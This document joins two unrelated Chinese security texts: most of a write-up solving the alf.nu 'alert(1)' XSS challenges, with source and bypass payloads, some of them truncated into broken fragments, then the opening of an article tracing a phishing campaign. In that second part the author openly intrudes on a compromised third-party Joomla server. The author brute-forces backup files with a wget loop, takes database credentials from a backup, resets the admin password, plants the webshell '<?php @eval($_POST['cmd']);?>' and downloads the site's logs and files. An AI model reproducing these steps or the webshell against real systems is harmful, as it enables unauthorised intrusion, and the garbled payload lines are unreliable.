如果输入是`TextNode#foo`，那么执行的代码就是`document.createTextNode("foo")`。
根据格式查一下手册
列一下几个常用的：
* `createElement()` 创建一个元素节点
* `createTextNode()` 创建一个文本节点
* `createAttribute()` 创建一个属性节点
* `createComment()` 创建一个注释节点
经过尝试，通过`createComment()`创建一个注释节点，然后闭合注释可以达到代码执行的目的。
### 5.3 Payload
34个字符
Comment#><script>alert(1)</script>
32个字符
Comment#><iframe onload=alert(1)
## 6\. Callback
### 6.1 源码
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {
'userdata': thing[1]
};
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json + ")</script>";
}
### 6.2 分析
代码首先将输入的字符串按照`#`分割为两部分，第一部分是回调函数，只能使用大小写字母、`[`、`]`、`'`，第二部分是`JSON`数据。
而且后面又将`JSON`数据中的尖括号转义成了`\\u003c`。
最终的目的依旧是执行`JS`代码，`thing[0]`部分不一定是一个函数，只要满足要求就OK。
既然回调函数名部分和后面的值都没有过滤单引号，可以在前后放两个单引号，从而闭合它们之间的值。再加个分号作为分割，后面就好操作了。
### 6.3 Payload
'#';alert(1)//
简单分析一下最终的执行过程，通过两个单引号闭合数据。在这里是`'({"userdata":"'`，在`alert(1)`后面加个注释符将后面的无效数据注释掉，也就是`//"})`。剩余的代码也就成功执行了。
<script>'({"userdata":"';alert(1)//"})</script>
## 7\. Skandia
### 7.1 源码
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
### 7.2 分析
很容易就能闭合标签，但是方法`alert(1)`，被转换成大写了，无法执行，尝试编码绕过。
### 7.3 Payload
54个字符
</script><img src onerror=alert(1)>
## 8\. Template
### 8.1 源码
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function (x) {
return {
'<': '<',
'>': '>',
'&': '&',
'"': '"',
"'": '''
}[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function (_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
", {
name: s
}
);
}
### 8.2 分析
代码对输入的`<`、`>`、`&`、`"`、`'`、进行了转义，输入的字符串会拼接在`{name}`处。
由于没有过滤`\`，可以利用`JS`的8进制或者16进制编码来绕过。
### 8.3 Payload
需要注意的是第二个`Payload`末尾有一个空格。
32个字符
\x3cimg src onerror=alert(1)\x3e
26个字符
\x3cstyle/onload=alert(1)
## 9\. JSON 2
### 9.1 源码
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
### 9.2 分析
对`</script>`标签进行了过滤，由于正则中存在`i`修饰符，不区分大小写，不能使用大小写混合来绕过。
由于直接将字符串替换为空，可以双写绕过。
### 9.3 Payload
</</scriptscript><script>alert(1)//
## 10\. Callback 2
### 10.1 源码
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {
'userdata': thing[1]
};
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json + ")</script>";
}
### 10.2 分析
与第6题的类似，但是转义了`/`，导致`//`这个注释符无法使用，但是`JavaScript`的注释符有三种，分别是`//`、`/**/`、`<!--`。
可以使用`<!--`来注释。
### 10.3 Payload
'#';alert(1)<!--
## 11\. Skandia 2
### 11.1 源码
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
### 11.2 分析
代码过滤了`<`、`>`。还将所有输入的字母变成了大写，不能借助`toUpperCase()`的特性来解了。
可以利用`jsfuck`。
直接将`");alert(1)//`中的`alert(1)`用`jsfuck`表示。
http://www.jsfuck.com/
但是直接使用工具生成的`jsfuck`太长了，不过我们还有另一种方法，就是`JS`的匿名函数。
我们可以通过这种方法来执行任意方法。
[]['map']['constructor']('alert(1)')()
由于对字母进行了大写转换，我们可以将其进行8进制编码，然后闭合前面，注释后面。
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
### 11.3 Payload
方法一 1232个字符
");[][(//
方法二 100个字符
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
## 12\. iframe
### 12.1 源码
function escape(s) {
var tag = document.createElement('iframe');
// For this one, you get to run any code you want, but in a "sandboxed" iframe.
// https://4i.am/?...raw=... just outputs whatever you pass in.
// Alerting from 4i.am won't count.
s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);
window.WINNING = function() {
youWon = true;
};
tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}
### 12.2 分析
代码逻辑很简单，只要使`youWon`为`true`，这样就能执行`alert(1)`了。
解决思路是利用到`iframe`的特性，当在`iframe`中设置了一个`name`属性之后，
这个`name`属性的值就会变成`iframe`中的`window`对象的全局。
### 12.3 Payload
name="youWon"
## 13\. TI(S)M
### 13.1 源码
function escape(s) {
function json(s) {
return JSON.stringify(s).replace(/\//g, '\\/');
}
function html(s) {
return s.replace(/[<>"&]/g,
function(s) {
return '&#' + s.charCodeAt(0) + ';';
});
}
return ('<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + ' <!-- for debugging -->\n' + ' URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + ' else new Image().src = url;\n' + '</script>');
}
### 13.2 分析
本题用到了一个小`trick`:
`HTML5`解析器会将`<!--<script>`到`</script>`之间的任何东西都当作`JavaScript`代码处理，同时要确保代码中还有一个`-->`来防止解析器报语法错误。
首先输入一个`<!--<script>`，此时的输出中
<!--<script>"; // We'll use this later </script>
<!-- for debugging -->
URL: <!--<script>
<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>
这一段所有的代码都会当做`JS`执行。
在后面有个正则表达式`!/^http:.*/`，其中的`*/`可以当做注释，那么我们在前面再加入一个`/*`即可闭合。
此时的输出为
<script>var url = "\/*<!--<script>"; // We'll use this later </script>
<!-- for debugging -->
URL: /*<!--<script>
<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>
那么，在注释符之前添加要执行的代码就可以了。
### 13.3 Payload
if(alert(1)/*<!--<script>
## 14\. JSON 3
### 14.1 源码
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log(' + json + ')</script>';
}).join('');
}
### 14.2 分析
题目思路与上一个题类似，借助`<!--<script>`来执行JS代码，不过因为后面没有`-->`，解析器会报错，需要我们在后面构造一个`-->`来避免报错。
构造的`Payload`为`<!--<script>#)/;alert(1)//-->`，此时输出为
<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>
其中`/script><script>console.log(")/`被当做了正则表达式解析，后面通过分号分割后，成功执行代码`alert(1)`。
### 14.3 Payload
<!--<script>#)/;alert(1)//-->
## 15\. Skandia 3
### 15.1 源码
function escape(s) {
if (/[\\<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
### 15.2 分析
代码过滤了`\`、`<`、`>`、同样使用`jsfuck`就能过。因为对`\`进行了过滤，不能使用八进制编码来绕过了。
根据`jsfuck`的[原理](https://zh.wikipedia.org/wiki/JSFuck)，我们借助匿名函数来构造一个更短的`Payload`。
[]["sort"]["constructor"]('alert(1)')()
接下来的目标是将其中的字母以其他形式来表示。
* 用 `!` 开头会转换成 `Boolean 布尔值`
* 用 `+` 开头会转换成 `Number 数值类型`
* 添加 `[]` 会转换成 `String 字符串`
* `![] === false` 、 `+[] === 0` 、 `[]+[] === ""`
值 | 经过jsfuck转换后
---|---
false | `![]`
true | `!![]`或`!+[]`
NaN | `+[![]]`或`+[][[]]`
undefined | `[][[]]`
Infinity | `+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])`
由此我们需要获得`construale`这些字符的特殊表示。很明显，上述表格内的字母是不够的，需要继续构造。
(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2] === "fill"
[]['fill']+[] === [][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[] ==="function fill() { [native code] }"
可得
"c" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]
"o" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]
"n" === ([][[]]+[])[1]
"s" === (![]+[])[3]
"t" === (!![]+[])[0]
"r" === (!![]+[])[1]
"u" === (!![]+[])[2]
"a" === (![]+[])[1]
"l" === (![]+[])[2]
"e" === (![]+[])[4]
可得
"sort" === (![]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]+(!![]+[])[0]
"constructor" === ([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+([][[]]+[])[1]+(![]+[])[3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[3]+(!![]+[])[0]+([][(![]+[])[0]+([][[]]+[])[5]+(![]+[])[2]+(![]+[])[2]]+[])[6]+(!![]+[])[1]
"alert" === (![]+[])[1]+(![]+[])[2]+(![]+[])[4]+(!![]+[])[1]+(!![]+[])[0]
将其拼接入`Payload`，长度为`525`。
");[][(//
从网上找了一种更为简便的方法。
表达式 | 值
---|---
`''+!1` | false
`''+!0` | true
`''+{}[0]` | undefined
`''+{}` | [object Object]
"sort" === (''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]
"constructor" === (''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]
"alert" === (''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]
构造`Payload`，长度为`241`。
");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//
### 15.3 Payload
方法一
");[][(//
方法二
");[][(//
方法三
");[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1]+(''+!1)[2]+(''+!1)[4]+(''+!0)[1]+(''+!0)[0]+'(1)')()//
[](./img/4400318517035210321.pnghttp://
"15")
## 16\. RFC4627
### 16.1 源码
function escape(text) {
var i = 0;
window.the_easy_but_expensive_way_out = function() {
alert(i++)
};
// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."
if (! (/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(text.replace(/"(\\.|[^"\\])*"/g, '')))) {
try {
var val = eval('(' + text + ')');
console.log('' + val);
} catch(_) {
console.log('Crashed: ' + _);
}
} else {
console.log('Rejected.');
}
}
### 16.2 分析
从代码来看，我们如果想要执行`alert(1)`，需要调用两次`the_easy_but_expensive_way_out`方法。
从正则来看，代码并没有限制我们使用`self`，因此我们可以借助`self`来调用全局方法`the_easy_but_expensive_way_out`。
在这里使用了一个小`trick`
* 在`JS`中让一个对象和一个值或者一个字符进行相加等运算，`JS`解析器会调用对象的`valueOf`方法来计算对象的值。
因此我们可以传入一个对象，它的`valueOf`指向的是`self['the_easy_but_expensive_way_out']`方法，然后让这个对象与一个数字或者字符做运算，就能调用`self['the_easy_but_expensive_way_out']`了，但是需要`alert(1)`，所以需要我们调用两次。
> 参考链接
>
> <https://blog.mindedsecurity.com/2011/08/ye-olde-crockford-json-regexp-> is.html>
### 16.3 Payload
{"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}
第一次调用是在`eval`中，通过`{"valueOf":self["the_easy_but_expensive_way_out"]}+0`调用，第二次是在`console.log(''
+ val);`中，对象与字符进行了相加操作，从而调用了`self['the_easy_but_expensive_way_out']`方法。
## 17\. Well
### 17.1 源码
function escape(s) {
http: //www.avlidienbrunn.se/xsschallenge/
s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
return "<script> var email = '" + s + "'; <\/script>";
}
### 17.2 分析
代码过滤了`\r`、`\n`、`\u2028`、`\u2029`、`\`、`;`、`,`、`(`、`)`、`[`、`]`和`<`。
单引号没被过滤，可以闭合前面的语句，通过定义函数来执行代码。
在`Payload`中，我们借助了`new Function`[语法](https://zh.javascript.info/new-function)。
### 17.3 Payload
'+new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'
## 18\. No
### 18.1 源码
function escape(s) {
s = s.replace(/[()`<]/g, ''); // no function calls
return '<script>\n' + 'var string = "' + s + '";\n' + 'console.log(string);\n' + '</script>';
}
### 18.2 分析
代码过滤了`(`、`）`、`\`、`<`、但是没有过滤双引号，可以通过双引号来闭合前面的语句。
然后借助异常处理来执行代码。
";onerror=eval;throw'=alert\x281\x29'//
> 参考链接
> <http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/>
### 18.3 Payload
";onerror=eval;throw'=alert\x281\x29'//
## 19\. K'Z'K 1
### 19.1 源码
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
return '<script>console.log("' + s + '");</script>';
}
### 19.2 分析
正则过滤了`aeiouy`这些字符。可以借助匿名函数和编码来绕过。
首先构造匿名函数
[]["pop"]["constructor"]('alert(1)')()
将其中的被过滤的字符进行16进制编码。
a ==> \x61
e ==> \x65
i ==> \x69
o ==> \x6f
u ==> \x75
y ==> \x79
此时Payload为
[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()
再将前后的语句闭合即可。
");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//
### 19.3 Payload
");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//
## 20\. K'Z'K 2
### 20.1 源码
// submitted by Stephen Leppik
function escape(s) {
// remove vowels and escape sequences in honor of K'Z'K
// y is only sometimes a vowel, so it's only removed as a literal
s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>]/g, '');
return '<script>console.log("' + s + '");</script>';
}
### 20.2 分析
正则看起来很复杂，不过是将编码的字符串替换为空了，双写一下就能绕过。
### 20.3 Payload
");[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//
## 21\. K'Z'K 3
### 21.1 源码
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>\\]/g, '');
return '<script>console.log("' + s + '");</script>';
}
### 21.2 分析
比第一题多了一个过滤，不仅过滤了`aeiouy`，还过滤了`{`、`}`、`!`、`=`、`<`、`>`、`\`。这下不能用编码来绕过了。
类似于第15题。
[]["map"]["constructor"]('alert(1)')()
在Payload中，不符合条件的字符`aeou`。借助js的一些特性可以获取到。
[][[]]+[] === "undefined"
([][[]]+[])[0] === "u"
([][[]]+[])[3] === "e"
1+[][0]+[] === "NaN"
(1+[][0]+[])[1] === "a"
[]["m"+(1+[][0]+[])[1]+"p"]+[] === "function map() { [native code] }"
([]["m"+(1+[][0]+[])[1]+"p"]+[])[26] === "o"
这样所有的字符就都获取到了，修改一下`Payload`
[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()
再闭合一下就OK了
### 21.3 Payload
");[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()//
## 22\. Fruit
### 22.1 源码
// CVE-2016-4618
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
for (var i = 0; i < n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') {
n.removeAttribute(name);
}
}
} [].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}
### 22.2 分析
题目直接给了提示`CVE-2016-4618`，但发现没啥用。
在这里，代码主要的问题出现在逻辑上，在`for`循环中，代码通过`n.attributes.length`来判断边界条件，但是`n.attributes.length`是动态变化的，如果存在多个属性，则最后一个属性是无法删除的，只要我们构造多个属性即可。
### 22.3 Payload
<iframe t onload=alert(1)>
## 23\. Fruit 2
### 23.1 源码
// CVE-2016-7650
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
for (var i = 0; i < n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') {
n.removeAttribute(name);
}
}
} [].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}
### 23.2 分析
提示依旧没啥用，而且代码较上一题区别不大，使用同一个`Payload`即可。
### 23.3 Payload
<iframe t onload=alert(1)>
## 24\. Capitals
### 24.1 源码
// submitted by msamuel
function escape(s) {
var capitals = {
"CA": {
"AB": "Edmonton",
"BC": "Victoria",
"MB": "Winnipeg",
// etc.
},
"US": {
// Alabama changed its state capital.
"AL": ((year) = >year < 1846 ? "Tuscaloosa": "Montgomery"),
"AK": "Juneau",
"AR": "Phoenix",
// etc.
},
};
function capitalOf(country, stateOrProvinceName, year) {
var capital = capitals[country][stateOrProvinceName];
if (typeof capital === 'function') {
capital = capital(year);
}
return capital
}
var inputs = (s || "").split(/#/g);
return '<b>' + capitalOf(inputs[0], inputs[1], inputs[2]) + '</b>';
}
### 24.2 分析
代码的逻辑很简单，我们要想执行`alert(1)`，需要满足`if (typeof capital === 'function')`，而`var
capital = capitals[country][stateOrProvinceName];`，这里想到了我们前面做题用到的匿名函数。
然后我们再用`</b>`闭合`b`标签，添加`<script>`标签来执行`alert(1)`。
### 24.3 Payload
CA#constructor#</b><script>alert(1)</script>
## 25\. Entities
### 25.1 源码
// submitted by securityMB
function escape(s) {
function htmlentities(s) {
return s.replace(/[&<>"']/g, c = >` & #$ {
c.charCodeAt(0)
};`)
}
s = htmlentities(s);
return` < script >
var obj = {};
obj["${s}"] = "${s}"; < /script>`;
}
### 25.2 分析
代码对`&`、`<`、`>`、`"`、`'`进行了转义，后面返回值部分存在两个拼接点。借助转义符`\`和注释符来进行绕过，拼接代码执行。
### 25.3 Payload
];alert(1)//\
## 26\. %level%
### 26.1 源码
// submitted anonymously
function escape(s) {
const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
const userTemplate = '<script>let some = %userData%</script>';
return userTemplate.replace(/%userData%/, userInput);
}
### 26.2 分析
代码对输入的字符串使用`JSON.stringify`进行了处理，然后对`<`和`>`进行了编码。
在`replace`中，`userInput`是可控的，在这里用到了关于`String.prototype.replace()`的一个小`trick`。
> <https://developer.mozilla.org/zh-> CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace>
我们可以通过`$'`来引入匹配的子串右边的内容`</script>`来闭合开头的`<script>`，然后使用`$\`来引入匹配的子串左边的内容`<script>let
some =`，这样就没有双引号来干扰了，直接使用调用`alert(1)`，然后注释掉后面的代码即可。
### 26.3 Payload
$'$`alert(1)//
## 参考链接
1. <https://cxliker.github.io/2018/01/29/XSS%E7%BB%83%E4%B9%A0-alf-nu-alert1-Write-ups/>
2. <https://github.com/masazumi-github/alert-1-to-win#a028>
3. <http://juniorprincewang.github.io/2018/10/14/alf-nu-alert1%E6%80%BB%E7%BB%93/> | 社区文章 |
**作者：道明君**
**公众号：<https://mp.weixin.qq.com/s/2_-dXLwkC3slFYV4lBsp2w>**
## 一、前言
近日朋友收到一封来自海外的钓鱼邮件，委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式，详细记录整个溯源过程，包括分析手法和思路，以供安全研究人员参考。
## 二、信息收集
这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件：
### 2.1 **邮件正文：**
Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
by bizmx16.qq.com (NewMx) with SMTP id
for <[email protected]>; Thu, 29 Nov 2018 06:56:41 +0800
X-QQ-SPAM: true
X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
yGbgfv5Gx9Qr65abnNzXymg=
X-QQ-mid: bizmx16t1543445804ti4ex7suw
X-QQ-CSender: [email protected]
X-QQ-ORGSender: [email protected]
X-KK-mid:bizmxp6t1543445804t9ne878su
Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
for <[email protected]>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
Received: by m7web1.platon.sk (Postfix, from userid 33)
id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
To: [email protected]
Subject: =?UTF-8?Q?Password_expiry_notice?=
Date: Wed, 28 Nov 2018 23:56:38 +0100
From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="us-ascii"
略...
<br data-tomark-pass>The password for the Microsoft 365 account<span style=3D"font-weight: b=
old;"> [email protected]
</span> has
expired.<br data-tomark-pass>![mir-nc.png-57.1kB][2]
<span class=3D"Apple-converted-space"></span><br data-tomark-pass>To protect your Microsoft =
account, your existing password may cease to work
shortly.<br data-tomark-pass>
<br data-tomark-pass>
You are now required to <span class=3D"Apple-converted-space"></span><a hre=
f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=
test.cn
"><span style=3D"font-weight: bold;">change
your password</span></a>
immediateIy.<span class=3D"Apple-converted-space"> <br data-tomark-pass>
=2E</span><br data-tomark-pass>
<a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/[email protected]
略...
### **2.2 分析邮件内容**
**根据邮件内容得到的信息如下：**
> 钓鱼网站： www.rosturplast.com（137.74.81.5 法国）
>
> 钓鱼链接: http://www.rosturplast.com/shells/logon.secureaccess/[email protected]
>
> 发件地址： [email protected]
>
> 服务商： Platon Technologies, s.r.o （斯洛伐克）
>
> SMTP： sysmailout1.platon.sk （85.248.228.17 斯洛伐克）
## 三、渗透钓鱼网站
### **3.1 漏洞分析**
> 目标网站：www.rosturplast.com
访问钓鱼链接，一个克隆OWA修改密码的的虚假页面，我们按照正常流程走一遍，密码随便输入。不出所料页面提示密码错误，这么做可以收集受害者多个密码提高成功率，仔细想想这个功能还是很贴心的：）。
**Step 1**
**Step 2**
**Step 3**
**抓包如下：** 注入、跨站之流都是不存在的。
访问首页，这是一家俄罗斯的塑料水管厂商，攻击者入侵了这个网站，放置了钓鱼页面，再通过邮件传播。
**端口扫描显示开放了一堆端口，防火墙做了策略限制。**
**通过扫描分析，得到沦陷主机信息如下:**
[+] HOST: www.rosturplast.com （137.74.81.5 法国）
[+] OS: Red Hat 4.8
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
[+] CMS: Joomla 3.3.3 （Joomla!是一套海外流行的建站系统，基于PHP+MySQL开发）
**这是一个低版本的Joomla，joomscan扫描显示受害网站有一堆漏洞，看起来弱不禁风，Getshell指日可待。**
扫描发现PHPMailer RCE漏洞，不过需要邮件发送表单功能才能利用，这一堆漏洞里面，看起来唯一有机会的是CVE-2016-9838（Joomla!
Core Remote Privilege Escalation
Vulnerability），然而经过测试攻击者（丧心病狂）贴心的把用户注册页面删除了！堵住了漏洞，导致无法利用。 
机智的我（此时毫无办法），开始挂字典整合Joomla目录盲扫备份文件，最后发现目标存在PhpMyAdmin后台，和一个报错页面，页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。
/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip
### **3.2 陷入僵局**
尝试下载这个文件，http响应404。看了一下同站有多个站点，但旁站渗透是个体力活，国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局，睡个午觉养养神，下午继续研究。
wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip 错误 404：Not Found
### **3.3 后台提权**
不到万不得已，不从旁站和C段入手，稍加思索根据报错页面的备份文件名格式生成日期文件，尝试遍历日期下载，碰碰运气。
脚本内容：
#!/bin/bash
startdate=`date -d "+0 day $1" +%Y%m%d`
enddate=`date -d "+0 day $2" +%Y%m%d`
while [[ $startdate -le $enddate ]]
do
date=$startdate
startdateother=`date -d "+0 day $date" +%Y-%m-%d`
dateother=$startdateother
url=http://www.rosturplast.com/rosturplast.com.$dateother.zip
echo "$url"
startdate=`date -d "+1 day $date" +%Y-%m-%d`
startdateother=`date -d "+1 day $date" +%Y-%m-%d`
wget $url
done
脚本大概跑了一个下午，当到达2017-08-07的时候，响应200状态码，看到rosturplast.com.2017-08-07.zip的文件大小为177M
感觉成了，解压后果然是整站备份，果然是柳暗花明又一shell。
查看配置文件`configuration.php`得到数据库连接信息，登录PhpMyAdmin后台。低权限无法直接写shell，只能修改默认密码登录Joomla!后台。
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'user***'; //敏感信息打码
public $password = 'K********6759'; //敏感信息打码
public $db = 'rtp_com3';
public $dbprefix = 'ms8ef_';
public $live_site = '';
public $secret = '5qp******4zU'; //敏感信息打码
备份原始密文以备还原，将后台密码修改为 test123456XYZ
http://www.rosturplast.com/administrator/
admin / test123456XYZ
登录后台，通过模板写入WebShell
> Extensions ---> Template Manager ---> Template ---> New Files ---> PHP
> WebSehll
这里写入了PHP一句话WebShell，通过Cknife（java版中国菜刀）对网站进行控制。
<?php @eval($_POST['cmd']);?>
查看攻击者的钓鱼文件目录，`user.txt` 详细记录了上钩的受害者信息。
### **3.4 日志分析**
将网站文件和访问日志下载到本地分析
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz /var/www/rosturpl/data/www/rosturplast.com/
wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz
? root@kali /tmp gzip -d *.gz
? root@kali /tmp ls -lh
总用量 22M
-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log
-rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121
-rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122
